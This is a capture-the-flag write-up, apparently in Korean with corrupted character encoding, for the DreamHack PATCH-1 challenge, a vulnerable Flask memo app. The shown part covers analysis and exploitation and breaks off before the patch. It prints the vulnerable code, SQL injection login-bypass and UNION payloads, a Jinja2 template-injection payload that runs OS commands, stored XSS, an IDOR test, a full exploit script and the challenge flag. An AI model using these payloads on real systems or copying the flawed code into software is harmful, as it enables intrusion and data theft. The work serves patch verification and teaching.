๋ฌธ์ : DreamHack Wargame โ PATCH-1 ๋ถ๋ฅ: web ๋์ด๋: ๐ฅ Gold 4 FLAG:
DH{7e07d530518d7983c066a7019b6cf027}
์๊ฒ์์ ํ๋ค ๋ณด๋ฉด ๋๋ถ๋ถ "๋ซ์ด๋ผ"์ธ๋ฐ, ์ด๊ฑด ๋ฐ๋๋ค. ์ทจ์ฝํ ์ฝ๋๋ฅผ ์ฃผ๊ณ ๊ณ ์ณ ๋ณด๋ผ๊ณ ํ๋ค. ์ฑ์ ์๋ฒ๊ฐ ์ต์คํ๋ก์์ ๋์ ธ ๋ณด๊ณ ์ ๋ถ ๋งํ๋์ง ํ์ธํ ๋ค, ๊ทธ๊ฒ๊ณผ ๋ณ๊ฐ๋ก ์ ์ ๊ธฐ๋ฅ์ด ์ด์ ์๋์ง(SLA) ๋ค์ ํ์ธํ๋ค. ๋ ๋ค ํต๊ณผํด์ผ flag ๊ฐ ๋์จ๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | PATCH-1 (web-patch-1, 2020-06-12 ์ถ์ ) |
| ๋์ด๋ | ๐ฅ Gold 4 |
| ๋ถ๋ฅ | web |
| ์ ๊ณต ํ์ผ | app.py ํ ๊ฐ (122์ค) |
| ์คํ | Python 3 ยท Flask ยท Jinja2 ยท SQLite3 |
| ์๋ฒ | ๋๋ฆผํต ๋ผ์ด๋ธ ์ธ์คํด์ค (์ฝ๋ ์ ์ถ โ ์ฑ์ ) |
| ํต์ฌ ์ทจ์ฝ์ | f-string SQLi ยท ๋ฌธ์์ด ์ฐ๊ฒฐ SQLi ยท Jinja2 SSTI ยท ์ ์ฅํ XSS ยท IDOR ยท ํ๋์ฝ๋ฉ secret_key |
ํ์ด ํ๋ฆ์ ๋จ์ํ๋ค. ๋ฐฐํฌ๋ app.py ๋ฅผ ์ฝ์ด ์ทจ์ฝํ ์ง์ ์ ์ ๋ถ ๋ฝ๊ณ , ๊ทธ๊ฒ ์ ๋ง ์ทจ์ฝํ์ง
๋ก์ปฌ์ ๋๊ฐ์ ์๋ฒ๋ฅผ ์ธ์ ํ๋์ฉ ํฐ๋จ๋ ค ๋ณธ๋ค. ๊ทธ๋ค์ ํจ์น๋ณธ์ ๋ง๋ค์ด ๊ฐ์ ๊ณต๊ฒฉ์ด ์ ๋ถ
๋งํ๋์ง, ๊ทธ๋ฌ๋ฉด์ ๋ฉ์ฉกํ ์์ฒญ์ ์์ ๊ณผ ๋๊ฐ์ด ๋์ํ๋์ง ํ์ธํ๊ณ ์ ์ถํ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ ์ด ๋ฌธ์ ๊ฐ ์ฑ์ ํ๋ ๊ฒ
๋ฌธ์ ํ์ด์ง๋ ํ์ผ ๋ค ๊ฐ๋ฅผ ํญ์ผ๋ก ๋ณด์ฌ ์ค๋ค. ๊ทธ์ค app.py ํ๋๋ง โ ์์ ๊ฐ๋ฅ ์ด๊ณ
๋๋จธ์ง ์
(run.pyยทrequirements.txtยทschema.sql)์ โ ์์ ๋ถ๊ฐ๋ฅ ์ด๋ค.

์์ ๋ถ๊ฐ ํญ๋ ์ฝ์ ์๋ ์๋ค. run.py ๊ฐ ํนํ ์ค์ํ๋ค. ์ฑ์ ๋์์ด ์ด๋ป๊ฒ ๊ธฐ๋๋๋์ง๊ฐ
์ฌ๊ธฐ ๋ค ์ ํ ์๊ธฐ ๋๋ฌธ์ด๋ค.

# run.py โ ์์ ๋ถ๊ฐ
import sys, os
import app
os.environ['DATABASE'] = 'database.db'
if len(sys.argv) != 2:
print(f'USAGE: {sys.argv[0]} PORT')
sys.exit()
app.app.run(host='0.0.0.0', port=int(sys.argv[1]), threaded=True)threaded=True ๋ก ํ๋ก์ธ์ค ํ๋๋ง ๋ฌ๋ค. ๋ค์์ secret_key ๋ฅผ ํ๋ก์ธ์ค๋ง๋ค ์๋ก ๋ฝ๋
ํจ์น๋ฅผ ๋ฃ์ ํ
๋ฐ, ์ด ํ ์ค์ด ๊ทธ๊ฒ ์์ ํ๋ค๋ ๊ทผ๊ฑฐ๊ฐ ๋๋ค. ์์ปค๊ฐ ์ฌ๋ฌ ๊ฐ๋ฉด ์์ปค๋ง๋ค ํค๊ฐ
๋ฌ๋ผ์ ธ ์ธ์
์ด ๊นจ์ง๋ค.
usage ํ์ด์ง์ ์ ์ฝ๋ ๊ทธ๋๋ก ์งํจ๋ค.
- Python ๋ฌธ๋ฒ์ด ๊นจ์ง๋ฉด ์ฆ์ ํ๋ฝํ๋ค
socketยทexecve๊ฐ์ ์ธ๋ถ ์ ์ยทOS ๋ช ๋ น์ ์ธ ์ ์๋คos.environ์ ๋ ์ค์ ๋ณ์๋ฅผ ๋ฐ๊ฟ ์ ์๋คapp.run()์ ์์๋ก ์ถ๊ฐํ ์ ์๋ค
์ ์ถ์ 30์ด์ ํ ๋ฒ. ์๋ฒ์ ๋ถ์ด์ ์ํ์ฐฉ์ค๋ก ๋ง์ถฐ ๊ฐ๋ ๋ฐฉ์์ด ์๋๋ผ, ๋ก์ปฌ์์ ๋ค ๋๋ด๊ณ ํ ๋ฒ์ ์ฌ๋ฆฌ๋ ๋ฐฉ์์ด ๋ง๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ 122์ค์ ํ๋๋ค
๋ฐฐํฌ๋ณธ์ app.py ํ๋๋ฟ์ด๋ค. ๋จผ์ zip ์์ ๋ญ๊ฐ ๋ค์๋์ง ๋ณด๊ณ , ๋์๋๋ ์ค๋ง ๊ณจ๋ผ ๋ฝ์๋ค.
unzip -l challenge_70.zip && grep -nE "secret_key|query_db\(f|where idx=|\.format\(|render_template_string" extracted/app.py
๋ค์ฏ ์ค์ด ํ ๋ฒ์ ๊ฑธ๋ฆฐ๋ค. 7๋ฒ ์ค์ ๊ณ ์ secret_key, 43๋ฒ ์ค์ f-string ์ฟผ๋ฆฌ,
86๋ฒ ์ค์ where idx= ๋ฌธ์์ด ์ฐ๊ฒฐ, 94~95๋ฒ ์ค์ .format() ํ render_template_string.
108๋ฒ ์ค๋ง ํ๋ ์ด์คํ๋๋ฅผ ์ ๋๋ก ์ฐ๊ณ ์๋ค.
์ ์ฒด ์ฝ๋๋ ์ด๋ ๊ฒ ์๊ฒผ๋ค. ๋ผ์ฐํธ ์ฌ์ฏ ๊ฐ์ง๋ฆฌ ๋ฉ๋ชจ API ๋ค.
#!/usr/bin/python3
from flask import Flask, request, render_template_string, g, session, jsonify
import sqlite3
import os, hashlib
app = Flask(__name__)
app.secret_key = "Th1s_1s_V3ry_secret_key"
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(os.environ['DATABASE'])
db.row_factory = sqlite3.Row
return db
def query_db(query, args=(), one=False):
cur = get_db().execute(query, args)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.route('/api/login', methods=['POST'])
def login():
userid = request.form.get('userid', '')
password = request.form.get('password', '')
if userid and password:
ret = query_db(f"SELECT * FROM users where userid='{userid}' and password='{hashlib.sha256(password.encode()).hexdigest()}'" , one=True)
if ret:
session['uid'] = ret[0]
return jsonify(result="success", userid=ret[0])
return jsonify(result="fail")
@app.route('/api/memo/<idx>', methods=['GET'])
def memoView(idx):
mode = request.args.get('mode', 'json')
ret = query_db("SELECT * FROM memo where idx=" + idx)[0]
if ret:
userid = ret['userid']
title = ret['title']
contents = ret['contents']
if mode == 'html':
template = ''' Written by {userid}<h3>{title}</h3>
<pre>{contents}</pre>
'''.format(title=title, userid=userid, contents=contents)
return render_template_string(template)
else:
return jsonify(result="success", userid=userid, title=title, contents=contents)
return jsonify(result="error")
@app.route('/api/memo/<int:idx>', methods=['PUT'])
def memoUpdate(idx):
if not session.get('uid'):
return jsonify(result="no login")
ret = query_db('SELECT * FROM memo where idx=?', [idx,])[0]
userid = session.get('uid')
title = request.form.get('title')
contents = request.form.get('contents')
if ret and title and contents:
conn = get_db()
cur = conn.cursor()
updateRet = cur.execute("UPDATE memo SET title=?, contents=? WHERE idx=?",(title, contents, idx))
conn.commit()
if updateRet:
return jsonify(result="success")
return jsonify(result="error")memoUpdate ๋ฅผ ๋ณด๋ฉด ์ฌ๋ฏธ์๋ค. query_db('... where idx=?', [idx,]) ๋ก ํ๋ ์ด์คํ๋๋ฅผ ์ธ ์ค
์๋ ์ฌ๋์ด ์ด ์ฝ๋๋ค. ๊ทธ๋ฐ๋ฐ ๋ฐ๋ก ์ memoView ๋ ๋ฌธ์์ด์ ๊ทธ๋ฅ ์ด์ด๋ถ์๋ค. ์ค๋ฌด์์
์์ฃผ ๋ณด๋ ๋ชจ์์ด๋ผ ์คํ๋ ค ํ์ค์ ์ด๋ค.
์คํค๋ง๋ถํฐ ์ญ์ฐํ๋ค
๋ก์ปฌ์์ ๋๋ ค ๋ณด๋ ค๋ฉด DB ๊ฐ ํ์ํ๋ฐ schema.sql ์ ๋ฌธ์ ํ์ด์ง์์ ์ฝ์ ์ ์๋ค. ๋ค๋ง
์ฝ๊ธฐ ์ ์ ์ฟผ๋ฆฌ๋ง์ผ๋ก ๋จผ์ ๋ง์ถฐ ๋ดค๋ค. Insert into users values(?, ?) ๋ ์ปฌ๋ผ ๋ ๊ฐ,
session['uid'] = ret[0] ์ด๋ ์ฒซ ์ปฌ๋ผ์ด userid. Insert into memo(userid, title, contents)
์ idx ๊ฐ ๋น ์ก์ผ๋ ์๋ ์ฆ๊ฐ ๊ธฐ๋ณธํค.
# local/init_db.py โ ์ฟผ๋ฆฌ์์ ์ญ์ฐํ ์คํค๋ง๋ก ๋ก์ปฌ DB๋ฅผ ๋ง๋ ๋ค
import hashlib, os, sqlite3, sys
DB = sys.argv[1] if len(sys.argv) > 1 else "/tmp/patch1.db"
if os.path.exists(DB):
os.remove(DB)
conn = sqlite3.connect(DB)
cur = conn.cursor()
cur.executescript("""
CREATE TABLE users (
userid TEXT PRIMARY KEY,
password TEXT NOT NULL
);
CREATE TABLE memo (
idx INTEGER PRIMARY KEY AUTOINCREMENT,
userid TEXT NOT NULL,
title TEXT,
contents TEXT
);
""")
def sha(p):
return hashlib.sha256(p.encode()).hexdigest()
cur.executemany("INSERT INTO users VALUES (?, ?)", [
("admin", sha("SuperSecretAdminPw!")),
("guest", sha("guest")),
("attacker", sha("attacker")),
])
cur.executemany("INSERT INTO memo(userid, title, contents) VALUES (?, ?, ?)", [
("admin", "admin note", "DH{local_dummy_not_a_real_flag}"),
("guest", "hello", "guest ์ ํ๋ฒํ ๋ฉ๋ชจ"),
])
conn.commit()
conn.close()
print(f"[+] {DB} ์์ฑ ์๋ฃ (users 3๋ช
/ memo 2๊ฑด)")python3 local/init_db.py local/demo.db && sqlite3 local/demo.db ".schema" && sqlite3 -header -column local/demo.db "select idx, userid, title from memo"
๋ฌธ์ ํ์ด์ง์ schema.sql ๊ณผ ๋์กฐํด ๋ณด๋ ๊ทธ๋๋ก์๋ค.
create table users(userid TEXT primary key, password TEXT);
create table memo(idx INTEGER primary key AUTOINCREMENT, userid TEXT, title TEXT, contents TEXT);์๋ฒ๋ฅผ ๋์ฐ๋ ์ชฝ์ ์ด๋ ๊ฒ ๊ฐ์๋ค. ํฌํธ๋ง๋ค DB ๋ฅผ ์๋ก ๋ง๋ค๊ธฐ ๋๋ฌธ์ ์๋ณธ๊ณผ ํจ์น๋ณธ์ ๊ฐ์ ์ด๊ธฐ ์ํ์์ ๋๋ํ ๋๋ฆด ์ ์๋ค.
# local/serve.sh โ ์ฌ์ฉ๋ฒ: ./serve.sh <app.py ๊ฒฝ๋ก> <ํฌํธ>
set -euo pipefail
APP="${1:?app.py ๊ฒฝ๋ก}"
PORT="${2:-5000}"
DB="/tmp/patch1_${PORT}.db"
python3 "$(dirname "$0")/init_db.py" "$DB" >/dev/null
export DATABASE="$DB"
exec python3 -m flask --app "$APP" run --host 127.0.0.1 --port "$PORT"์ด ์ํ์์ ์๋ณธ์ 5000๋ฒ, ๋ค์ ๋ง๋ค ํจ์น๋ณธ์ 5001๋ฒ์ ์ฌ๋ ค ๋๊ณ ์์ ํ๋ค.
๐ฃ ์ทจ์ฝ์ 1 โ ๋ก๊ทธ์ธ ์ฟผ๋ฆฌ๊ฐ f-string ์ด๋ค
43๋ฒ ์ค์ด๋ค.
ret = query_db(f"SELECT * FROM users where userid='{userid}' and password='{hashlib.sha256(password.encode()).hexdigest()}'", one=True)๋น๋ฐ๋ฒํธ๋ SHA-256 ์ ๊ฑฐ์น๋ ๊ฐ์ ๋ชป ๋ฃ์ง๋ง userid ๋ ํผ์์ ์จ ๋ฌธ์์ด์ด ๊ทธ๋๋ก ๋ค์ด๊ฐ๋ค.
๋ฐ์ดํ๋ฅผ ๋ซ๊ณ ๋ค๋ฅผ ์ฃผ์ ์ฒ๋ฆฌํ๋ฉด ๋น๋ฐ๋ฒํธ ์กฐ๊ฑด ์์ฒด๊ฐ ์ฌ๋ผ์ง๋ค.
curl -s -X POST http://127.0.0.1:5000/api/login --data-urlencode "userid=admin' -- " --data-urlencode "password=whatever"
{"result":"success","userid":"admin"}. ๋น๋ฐ๋ฒํธ๋ฅผ ๋ชจ๋ฅด๋ ์ฑ๋ก admin ์ด ๋๋ค.
SQLite ๋ -- ๋ค๋ฅผ ์ค ๋๊น์ง ์ฃผ์์ผ๋ก ๋ณธ๋ค. ์ฃผ์ ๊ธฐํธ ๋ค์ ๊ณต๋ฐฑ์ ํ ์นธ ๋จ๊ฒจ์ผ ํ๋ค๋
์ ๋ง ์ฃผ์ํ๋ฉด ๋๋ค.
๐ฃ ์ทจ์ฝ์ 2 โ ๋ฉ๋ชจ ์กฐํ๋ ์์ ๋ฌธ์์ด ์ฐ๊ฒฐ์ด๋ค
86๋ฒ ์ค์ ๋ฐ์ดํ์กฐ์ฐจ ์๋ค. ์ซ์ ์๋ฆฌ์ ๊ทธ๋๋ก ๋ถ๋๋ค.
ret = query_db("SELECT * FROM memo where idx=" + idx)[0]๋ผ์ฐํธ๊ฐ <idx> (๊ธฐ๋ณธ ๋ฌธ์์ด ๋ณํ๊ธฐ) ๋ผ์ ์ฌ๋์๋ง ์๋๋ฉด ๋ญ๋ ๋ค์ด์จ๋ค. ์ธ์ฉ๋ถํธ ๋ฐ์ด๋ผ
๋ฐ์ดํ๋ฅผ ๋ซ์ ํ์๋ ์๊ณ , UNION ์ ๋ถ์ด๋ฉด ๋ค๋ฅธ ํ
์ด๋ธ์ ๊ทธ๋๋ก ๋์ด์ฌ ์ ์๋ค.
memo ๋ ์ปฌ๋ผ์ด ๋ท์ด๋ ๋ท์ ๋ง์ถฐ ์ค๋ค.
curl -s "http://127.0.0.1:5000/api/memo/-1%20union%20select%201,userid,password,'x'%20from%20users%20where%20userid='admin'"
title ์๋ฆฌ์ 64์์ง๋ฆฌ SHA-256 ํด์๊ฐ ์ค๋ ค ๋์๋ค. sqlite3.Row ์ ์ปฌ๋ผ ์ด๋ฆ์ ๋งจ ์
SELECT ๋ฅผ ๋ฐ๋ผ๊ฐ๋ฏ๋ก, ์๋ต JSON ์ ์ฌ์ ํ useridยทtitleยทcontents ํค๋ฅผ ์ด๋ค.
์๋ฒ ์
์ฅ์์๋ ์ ์์ ์ธ ๋ฉ๋ชจ ํ๋๋ฅผ ๋๋ ค์ค ๊ฒ์ฒ๋ผ ๋ณด์ธ๋ค.
๐ฃ ์ทจ์ฝ์ 3ยท4 โ format() ์ด ๋ง๋ค์ด ๋ธ SSTI, ๊ทธ๋ฆฌ๊ณ XSS
์ด ๋ฌธ์ ์ ํต์ฌ์ด๋ค. 91~95๋ฒ ์ค์ ๋ค์ ๋ณธ๋ค.
if mode == 'html':
template = ''' Written by {userid}<h3>{title}</h3>
<pre>{contents}</pre>
'''.format(title=title, userid=userid, contents=contents)
return render_template_string(template).format() ์ด ๋จผ์ ๋์ ์ฌ์ฉ์ ๊ฐ์ด ๋ฐํ ๋ฌธ์์ด์ ๋ง๋ค๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ
render_template_string ์ด ํ
ํ๋ฆฟ ์์ค๋ก ๋ฐ์ ์ปดํ์ผํ๋ค. ์ฆ DB ์ ์ ์ฅ๋ ๋ฉ๋ชจ ๋ณธ๋ฌธ์ด
ํ
ํ๋ฆฟ ์ฝ๋์ ์ผ๋ถ๊ฐ ๋๋ค. Jinja2 ๋ ๊ทธ ์์ {{ ... }} ๋ฅผ ํ์ด์ฌ ํํ์์ผ๋ก ํ๊ฐํ๋ค.

Flask ๋ ํ
ํ๋ฆฟ ์ปจํ
์คํธ์ config ๋ฅผ ๋ฃ์ด ์ค๋ค. config ์ ํด๋์ค๋ flask.config ๋ชจ๋์
์ ์๋ผ ์๊ณ ๊ทธ ๋ชจ๋์ os ๋ฅผ import ํ๋ค. ๊ทธ๋์ __globals__ ๋ฅผ ํ๊ณ ๋ค์ด๊ฐ๋ฉด os ๊ฐ ๋์จ๋ค.
์๋๋ฐ์ค๊ฐ ๊ฑธ๋ฆฐ SandboxedEnvironment ๊ฐ ์๋๋ผ ํ๋ฒํ Environment ๋ผ ๋๋ ์์ฑ ์ ๊ทผ์ด
๋งํ์ง ์๋๋ค.
#!/usr/bin/env bash
# poc_ssti.sh โ ๊ฐ์
โ ๋ก๊ทธ์ธ โ ๋ฉ๋ชจ ์์ฑ โ html ๋ชจ๋๋ก ์กฐํ
set -eu
BASE="${1:-http://127.0.0.1:5000}"
JAR="$(dirname "$(readlink -f "$0")")/local/poc_cookie.txt"
curl -s -X POST "$BASE/api/join" -d 'userid=poc' -d 'password=poc' -o /dev/null
echo "--- login"
curl -s -X POST "$BASE/api/login" -c "$JAR" -d 'userid=poc' -d 'password=poc'; echo
echo "--- ๋ฉ๋ชจ ์์ฑ (contents ์ Jinja2 ํํ์)"
IDX=$(curl -s -X PUT "$BASE/api/memo/add" -b "$JAR" \
--data-urlencode 'title=ssti' \
--data-urlencode "contents={{ config.__class__.__init__.__globals__['os'].popen('id -a').read() }}" \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["memoidx"])')
echo "memoidx = $IDX"
echo "--- html ๋ชจ๋๋ก ์กฐํ"
curl -s "$BASE/api/memo/$IDX?mode=html"; echo
rm -f "$JAR"./poc_ssti.sh http://127.0.0.1:5000
<pre> ์์ id ์ ์ถ๋ ฅ์ด ์ฐํ๋ค. ๋ฉ๋ชจ ํ๋ ์ฐ๋ ๊ฒ์ผ๋ก ์์ ๋ช
๋ น ์คํ๊น์ง ๊ฐ๋ค.
๊ฐ์ ์๋ฆฌ์ ์ ์ฅํ XSS ๋ ์๋ค. Jinja2 ์ ์๋ ์ด์ค์ผ์ดํ๋ {{ }} ๋ก ๋๊ธด ๊ฐ์๋ง ๊ฑธ๋ฆฌ๊ณ
ํ
ํ๋ฆฟ ์์ค์ ๋ฆฌํฐ๋ด ํ
์คํธ์๋ ์ ๊ฑธ๋ฆฐ๋ค. .format() ์ผ๋ก ๋ฐ์ ๋ฃ์ <script> ๋ ์์ค์
์ผ๋ถ๊ฐ ๋๋ฏ๋ก ์ด์ค์ผ์ดํ ๋์์ด ์๋๋ค. ๊ทธ๋์ SSTI ๋ฅผ ๋ง๋ ๋ฐฉ์(๊ฐ์ ์ธ์๋ก ๋๊ธฐ๊ธฐ)์ด
XSS ๊น์ง ๊ฐ์ด ๋ง๋๋ค.
๐ฃ ์ทจ์ฝ์ 5 โ ๋จ์ ๋ฉ๋ชจ๋ฅผ ๊ณ ์น ์ ์๋ค
memoUpdate ๋ ๋ก๊ทธ์ธ ์ฌ๋ถ๋ง ๋ณธ๋ค.
if not session.get('uid'):
return jsonify(result="no login")
ret = query_db('SELECT * FROM memo where idx=?', [idx,])[0]
userid = session.get('uid')
...
if ret and title and contents:
updateRet = cur.execute("UPDATE memo SET title=?, contents=? WHERE idx=?", (title, contents, idx))ret ๋ฅผ ์ฝ์ด ๋๊ณ ๋ ret['userid'] ์ ์ธ์
์ฌ์ฉ์๋ฅผ ๋์กฐํ์ง ์๋๋ค. userid ๋ณ์๋ฅผ ๋ง๋ค์ด
๋๊ณ ์ฐ์ง๋ ์๋๋ค. ์๋ฌด๋ ๊ฐ์
ํด์ ๋ก๊ทธ์ธํ๋ฉด ๋จ์ ๋ฉ๋ชจ๋ฅผ ํต์งธ๋ก ๋ฎ์ด์ธ ์ ์๋ค.
์ ํ์ ์ธ IDOR ์ด๋ค.
์ฝ๊ธฐ ์ชฝ(memoView)์ ์ธ์ฆ์ด ์์ ์๋๋ฐ, ์ด๊ฑด ๋จ๊ฒจ ๋๋ค. html ๋ชจ๋๊ฐ Written by <์์ฑ์>
๋ฅผ ์ฐ๋ ๊ฑธ ๋ณด๋ฉด ๊ณต๊ฐ ์ด๋์ด ์๋๋ ๊ธฐ๋ฅ์ผ๋ก ๋ณด์๊ณ , ์ฌ๊ธฐ์ ์ธ์ฆ์ ๊ฑธ์๋ค๊ฐ SLA ๊ฐ ๊นจ์ง๋
์ชฝ์ด ๋ ์ํํ๋ค๊ณ ํ๋จํ๋ค.
๐ฃ ์ทจ์ฝ์ 6 โ secret_key ๊ฐ ์์ค์ ๋ฐํ ์๋ค
app.secret_key = "Th1s_1s_V3ry_secret_key"Flask ์ธ์
์ฟ ํค๋ ์ด ํค๋ก ์๋ช
๋ง ํ๋ค. ํค๋ฅผ ์๋ ์ฌ๋์ ์ํ๋ uid ๋ฅผ ๋ด์ ์ฟ ํค๋ฅผ ์ง์
๋ง๋ค ์ ์๋ค. ๊ทธ๋ฆฌ๊ณ ์ด ํค๋ ๋ฐฐํฌ ์์ค์ ๊ทธ๋๋ก ์ ํ ์๋ค. ์์ IDOR ์ ๊ณ ์ณ ๋๋, ํผํด์
์ธ์
์ ์์กฐํ๋ฉด ์์ ์ ๊ฒ์ฆ์ ์ ๋ฉด์ผ๋ก ํต๊ณผํ๋ค. ๊ทธ๋์ ์ด๊ฒ๋ ์ทจ์ฝ์ ์ผ๋ก ์
๋ค.
๐งช ์ ๊ฒ๊ธฐ๋ฅผ ํ๋ ๋ง๋ ๋ค
์ฌ์ฏ ๊ฐ๋ฅผ ๋์ผ๋ก ํ์ธํ๊ณ ๋์ด๊ฐ๋ฉด, ํจ์นํ ๋ค์ "์ ๋ง ๋ค ๋งํ๋"๋ฅผ ๋ ๋์ผ๋ก ๋ด์ผ ํ๋ค. ๊ฐ์ ์คํฌ๋ฆฝํธ๋ฅผ ์๋ณธ๊ณผ ํจ์น๋ณธ์ ๊ฐ๊ฐ ๋์ ธ ๊ฒฐ๊ณผ๋ฅผ ๋น๊ตํ ์ ์๊ฒ ์ ๊ฒ๊ธฐ๋ฅผ ํ๋ ๋ง๋ค์๋ค.
โถ๐ exploit.py โ ์ทจ์ฝ์ 6์ข ์๋ ์ ๊ฒ๊ธฐ (์ ๋ฌธ)
#!/usr/bin/env python3
"""PATCH-1 ์ทจ์ฝ์ ์๋ ์ ๊ฒ๊ธฐ โ 5๊ฐ ์ง์ 6ํญ๋ชฉ.
์๋ณธ app.py ๋ ํจ์น๋ณธ์ด๋ ๊ฐ์ ์คํฌ๋ฆฝํธ๋ก ๋๋ ค ๊ฒฐ๊ณผ๋ฅผ ๋น๊ตํ๋ค.
python3 exploit.py http://127.0.0.1:5000 # ์๋ณธ -> ์ ๋ถ VULN
python3 exploit.py http://127.0.0.1:5001 # ํจ์น๋ณธ -> ์ ๋ถ SAFE
"""
import sys
from urllib.parse import quote
import requests
BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:5000"
RESULT = []
def report(name, vulnerable, evidence):
RESULT.append((name, vulnerable, evidence))
tag = "\033[91mVULN\033[0m" if vulnerable else "\033[92mSAFE\033[0m"
print(f" [{tag}] {name}\n ๊ทผ๊ฑฐ: {evidence}\n")
def login(sess, userid, password):
return sess.post(
f"{BASE}/api/login", data={"userid": userid, "password": password}, timeout=5
)
# ---------------------------------------------------------------- 1. ๋ก๊ทธ์ธ SQLi
def check_login_sqli():
print("[1] /api/login -- f-string ์ผ๋ก ์กฐ๋ฆฝํ WHERE ์ ")
s = requests.Session()
payload = "admin' -- "
r = login(s, payload, "์๋ฌด๊ฑฐ๋")
j = r.json()
ok = j.get("result") == "success" and j.get("userid") == "admin"
report("๋ก๊ทธ์ธ SQL Injection", ok,
f"userid=\"{payload}\" ๋ก ๋น๋ฐ๋ฒํธ ์์ด ์๋ต {j}")
return s if ok else None
# ------------------------------------------------------- 2. ๋ฉ๋ชจ ์กฐํ SQLi(UNION)
def check_memo_sqli():
print("[2] /api/memo/<idx> -- 'where idx=' + idx ๋ฌธ์์ด ์ฐ๊ฒฐ")
payload = "-1 union select 1,userid,password,'x' from users where userid='admin'"
r = requests.get(f"{BASE}/api/memo/{quote(payload)}", timeout=5)
try:
j = r.json()
except Exception:
j = {"raw": r.text[:120]}
leaked = j.get("title", "")
ok = isinstance(leaked, str) and len(leaked) == 64
report("๋ฉ๋ชจ ์กฐํ UNION SQL Injection", ok,
f"users ํ
์ด๋ธ admin ํด์ ์ ์ถ -> {leaked!r} (HTTP {r.status_code})")
# ------------------------------------------------------------------- 3/4. ๋ฉ๋ชจ ์์ฑ
def add_memo(sess, title, contents):
r = sess.put(f"{BASE}/api/memo/add",
data={"title": title, "contents": contents}, timeout=5)
return r.json().get("memoidx")
def check_ssti_and_xss(sess):
print("[3] /api/memo/<idx>?mode=html -- format() ๊ฒฐ๊ณผ๋ฅผ ๊ทธ๋๋ก ๋ ๋๋ง")
idx = add_memo(sess, "ssti", "{{7*7}}")
html = requests.get(f"{BASE}/api/memo/{idx}?mode=html", timeout=5).text
report("Jinja2 SSTI (์์ ํ๊ฐ)", "49" in html,
f"contents='{{{{7*7}}}}' ์ ์ฅ ํ html ๋ชจ๋ ์๋ต์ '49' ํฌํจ ์ฌ๋ถ -> {'49' in html}")
rce = "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"
idx = add_memo(sess, "rce", rce)
html = requests.get(f"{BASE}/api/memo/{idx}?mode=html", timeout=5).text
report("SSTI ๋ฅผ ํตํ ์์ ๋ช
๋ น ์คํ", "uid=" in html,
f"config.__class__ ์ฒด์ธ์ผ๋ก os.popen('id') -> "
f"{html.strip().splitlines()[-2:] if 'uid=' in html else '์คํ ์ ๋จ'}")
print("[4] ๊ฐ์ ์ง์ -- ์ ์ฅํ XSS")
idx = add_memo(sess, "xss", "<script>alert(document.domain)</script>")
html = requests.get(f"{BASE}/api/memo/{idx}?mode=html", timeout=5).text
report("์ ์ฅํ XSS", "<script>alert(document.domain)</script>" in html,
"contents ์ <script> ํ๊ทธ๊ฐ ์ด์ค์ผ์ดํ ์์ด ์๋ต ๋ณธ๋ฌธ์ ๊ทธ๋๋ก ๋ฑ์ฅ")
# ------------------------------------------------------------ 5. ๋จ์ ๋ฉ๋ชจ ์์
def check_idor():
print("[5] PUT /api/memo/<idx> -- ๋ฉ๋ชจ ์์ ์ ํ์ธ ์์")
s = requests.Session()
s.post(f"{BASE}/api/join", data={"userid": "mallory", "password": "mallory"}, timeout=5)
login(s, "mallory", "mallory")
victim = 1 # init_db.py ๊ฐ ๋ฃ์ด๋ admin ์ ๋ฉ๋ชจ
s.put(f"{BASE}/api/memo/{victim}",
data={"title": "hacked", "contents": "mallory ๊ฐ ๋ฎ์ด์ผ๋ค"}, timeout=5)
after = requests.get(f"{BASE}/api/memo/{victim}", timeout=5).json()
ok = after.get("title") == "hacked"
report("IDOR - ํ์ธ ๋ฉ๋ชจ ์์ ์์ ", ok,
f"mallory ๋ก ๋ก๊ทธ์ธํด admin ์์ memo idx={victim} ์์ ์๋ -> ํ์ฌ ๊ฐ {after}")
def main():
print(f"=== PATCH-1 ์ทจ์ฝ์ ์ ๊ฒ: {BASE} ===\n")
sess = check_login_sqli()
check_memo_sqli()
if sess is None: # SQLi ๊ฐ ๋งํ์ผ๋ฉด ์ ์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํด์ ์ด์ด๊ฐ๋ค
sess = requests.Session()
sess.post(f"{BASE}/api/join", data={"userid": "tester", "password": "tester"}, timeout=5)
login(sess, "tester", "tester")
check_ssti_and_xss(sess)
check_idor()
print("=" * 58)
vuln = sum(1 for _, v, _ in RESULT if v)
for name, v, _ in RESULT:
print(f" {'์ทจ์ฝ' if v else '์์ '} {name}")
print("=" * 58)
print(f" ์ทจ์ฝ {vuln}๊ฑด / ์ ๊ฒ {len(RESULT)}๊ฑด")
if __name__ == "__main__":
main()ํ ๊ฐ์ง ์ ๊ฒฝ ์ด ๋ถ๋ถ์ด ์๋ค. ๋ก๊ทธ์ธ SQLi ๊ฐ ๋งํ๋ฉด ๊ทธ๋ค์ ๊ฒ์ฌ๋ค์ด ์ธ์ ์ ๋ชป ์ป์ด ์ค์ค์ด ์คํจํ๋ค. ๊ทธ๋ฌ๋ฉด ํจ์น๋ณธ์์ "SSTI ๋ ์์ "์ด ์๋๋ผ "ํ์ธ ์์ฒด๋ฅผ ๋ชป ํจ"์ด ๋์ด ๋ฒ๋ฆฐ๋ค. ๊ทธ๋์ SQLi ๊ฐ ์คํจํ๋ฉด ์ ์ ๊ณ์ ์ผ๋ก ๊ฐ์ ยท๋ก๊ทธ์ธํด ๋๋จธ์ง๋ฅผ ์ด์ด ๊ฐ๊ฒ ํ๋ค.
python3 exploit.py http://127.0.0.1:5000
์ฌ์ฏ ๊ฑด ์ ๋ถ ์ฌํ๋๋ค. ์ด์ ์ด ์ซ์๋ฅผ 0์ผ๋ก ๋ง๋ค๋ฉด ๋๋ค.
๐ ์ฝ์ง
โถ๐ ์ฝ์ง 1 โ ์ด๋๊น์ง ๊ณ ์ณ์ผ '์ ๋ถ'์ธ๊ฐ
